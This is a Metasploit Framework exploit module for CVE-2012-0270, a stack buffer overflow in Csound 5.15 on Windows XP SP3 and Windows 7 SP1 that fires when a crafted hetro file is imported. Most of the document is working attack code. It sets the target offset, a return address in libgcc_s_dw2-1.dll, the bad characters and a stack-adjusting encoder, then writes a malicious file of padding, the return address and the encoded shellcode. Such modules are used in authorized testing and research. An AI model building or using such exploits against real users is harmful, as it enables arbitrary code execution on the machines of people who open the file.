Csound - '.hetro' File Handling Stack Buffer Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Csound hetro File Handling Stack Buffer Overflow',
			'Description' => %q{
					This module exploits a buffer overflow in Csound before 5.16.6.
				The overflow occurs when trying to import a malicious hetro file
				from tabular format.
				In order to achieve exploitation the user should import the malicious
				file through csound with a command like "csound -U het_import msf.csd file.het".
				This exploit doesn't work if the "het_import" command is used directly
				to convert the file.
			},
			'License' => MSF_LICENSE,
			'Author' =>
				[
					'Secunia', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'Version' => '$Revision: $',
			'References' =>
				[
					[ 'CVE', '2012-0270' ],
					[ 'OSVDB', '79491' ],
					[ 'BID', '52144' ],
					[ 'URL', 'http://secunia.com/secunia_research/2012-3/' ],
					[ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f']
				],
			'Payload' =>
				{
					'Space' => 650,
					'BadChars' => "\x00\x0a\x1a\x2c\xff",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
					'DisableNops' => 'True'
				},
			'Platform' => 'win',
			'Targets' =>
				[
					[ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1',
						{
							'Offset' => 132,
							'Ret' => 0x6e955446 # push esp #  ret / libgcc_s_dw2-1.dll
						}
					],
				],
			'Privileged' => false,
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 23 2012'))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']),
			], self.class)
	end

	def exploit
		sploit = rand_text(target['Offset'])
		sploit << [target.ret].pack("V")
		sploit << payload.encoded
		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(sploit)
	end

end